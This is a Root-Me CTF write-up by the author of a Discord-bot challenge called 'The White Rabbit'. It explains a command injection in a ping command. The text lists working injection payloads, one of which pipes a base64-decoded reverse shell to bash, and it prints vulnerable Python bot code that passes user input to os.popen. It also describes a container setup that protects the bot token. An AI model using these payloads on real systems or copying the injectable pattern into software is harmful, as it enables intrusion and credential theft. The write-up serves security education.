The White Rabbit

During the Root-Me CTF for the 10k members on Discord, I was able to create two Discord challenges, and here is a writeup for explaining how it works and how to exploit it.

Introduction

  • Name : The White Rabbit
  • Category : Misc
  • Points : 500 -> 463
  • Solves : 30
  • Level : easy

Exploitation

So we have a Discord bot, which gives us the status of the challenge servers on Root-Me.org, our only available command is !ping ( except !help), and it seems to work fine.

Obviously, we can directly think of a command injection, because the ping must be executed on the server side. So we will try to give an unnatural behavior to this bot to make an error appear which could give us additional information about its functioning.

We soon have confirmation that we are controlling the challenge$VARIABLE.root-me.org variable, and that by inserting unusual characters, we have an error log ❌ Error log :, which is empty. An interesting thing to note is that our double quotes " do not appear in the bot’s return. Now that we understand a little better how our application reacts, let’s try to get some response in our error log.

And that’s it, we have succeeded in returning a bash command in our error log, now we just have to read the flag

In fact, this is not the only payload that could successfully inject code, here is an example of a few others:

!ping "; cat flag.txt "

# ${IFS} => https://en.wikipedia.org/wiki/Input_Field_Separators
!ping 01.root-||cat${IFS}flag.txt||true#

# thanks Feelzor
!ping ".attacker.domain .root-me.org || ls . 1>&2; cat flag.txt "


# thanks HyouKa
!ping "`sleep 5`"
!ping "`echo base64_reverse_shell | base64 -d | bash`"

If you have successfully exploited it with a different payload, please let me know πŸ˜„

How it’s work ?

Ok we were able to exploit the vulnerability, but how does it work on the bot side?

Here is the bot code (without security) that we will use for the example

#!/usr/bin/python3
# -*- coding: utf-8 -*-

from discord.ext.commands import Bot
from discord.ext import commands
from dotenv import load_dotenv
import discord # discord.py==2.0.0
import re
import os

# Defines some variables
intents = discord.Intents.default()
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents, help_command=None)
# load .env file
load_dotenv()

# Bot status and activity
@bot.event
async def on_ready():
    print("Ready !")
    activity = discord.Game(name="No time to say hello, goodbye. I'm late, late, late")
    return await bot.change_presence(status=discord.Status.online, activity=activity)

# Help command function
@bot.command(name="help")
async def help_cmd(ctx):
    if ctx:
        await ctx.send("""\n**You can use theses commands :**
                        ```\n!help : print the help list\n!ping : ping challengeXX.root-me.org\n exemple: !ping 01```""")
    else:
        await ctx.send("Please use !help to have list of commands")

# Ping command function
@bot.command(name="ping")
async def ping(ctx, parameter):
    if parameter:
        sh = f"ping -c 3 challenge{parameter}.root-me.org"
        print(sh)
        command = os.popen(sh).read()
        if '3 received' in command:
            await ctx.send(f"challenge{parameter}.root-me.org is up !\n")
            print(command)
        else:
            await ctx.send(f"challenge{parameter}.root-me.org is down :(")
            await ctx.send(f"❌ Error log : \n{command}")
    else:
        await ctx.send("Please use a parameter")

# Run
bot.run(os.getenv("TOKEN"))

When we send a basic command like !ping 01, the bot executes this:

ping -c 3 challenge01.root-me.org

However, if we go back to our previous tests and send the commands !ping ; and !ping "hello", the return is quite different:

# ;
ping -c 3 challenge;.root-me.org
ping: challenge: Name or service not known
/bin/sh: 1: .root-me.org: not found

# " hello "
ping -c 3 challenge hello .root-me.org
ping: .root-me.org: Name or service not known

We can see that the ; has been interpreted as a bash separator, and that it has interpreted .root-me.org as a new command. This means that the next command we send after the semicolon ; will be executed by the server.

# !ping "; id ;"

ping -c 3 challenge; id ;.root-me.org
ping: challenge: Name or service not known
uid=1000(chall) gid=1000(chall) groups=1000(chall)
/bin/sh: 1: .root-me.org: not found

Now, we have a serious problem with this code. The token of the Discord bot is retrieved from the environment using the following code :

bot.run(os.getenv("TOKEN"))

This means that anyone can get this token as below, and can modify the bot as they wish.

We will see how we can secure this token part.

Setup of the challenge

Full architecture files here

Architecture

The architecture of the challenge is a bit more complex, it is based on 3 containers for a single bot. By the way, I greatly thank TheLaluka who, around some beers and schematics resembling to steganography challenges, helped me a lot to realize this architecture.

.
β”œβ”€β”€ broker
β”‚Β Β  β”œβ”€β”€ broker.py
β”‚Β Β  β”œβ”€β”€ Dockerfile
β”‚Β Β  └── requirements.txt
β”œβ”€β”€ chall
β”‚Β Β  β”œβ”€β”€ chall.py
β”‚Β Β  β”œβ”€β”€ Dockerfile
β”‚Β Β  β”œβ”€β”€ flag.txt
β”‚Β Β  └── requirements.txt
β”œβ”€β”€ docker-compose.yml
└── .env
  • docker-compose.yml -> docker-compose file to start the challenge

  • .env -> contain the bot token

  • broker/broker.py -> python code of the discord bot

  • broker/Dockerfile -> Docker image which runs the bot

  • broker/requirements.txt -> python’s requirements for the bot

  • chall/chall.py -> application flask who will execute the command injection

  • chall/Dockerfile -> Docker image image which runs the flask application

  • chall/requirements.txt -> python’s requirements for the flask application

  • chall/flag.txt -> flag of the challenge

This operation allows that the user can not read the content of the Docker environment where the bot is launched, so can not read the token. This also adds a bit of security by preventing the user from interacting with the bot environment.

Now that security is added, we also need continuous up-time for the CTF duration, which is why in the docker-compose.yml file there is another container named autoheal. It allows restarting containers if they are not working properly.

And thanks to this complete system, still 1 week after the CTF, there was no downtime, nor successful malicious action ( however you have tried ^^)

Running

docker-compose -f docker-compose.yml up -d 

Thanks for reading, if you have any question about exploitation, configuration, the architecture or other you can DM me on Twitter or Discord Nishacid#1337. Thanks again for helping me to TheLaluka secure this challenge!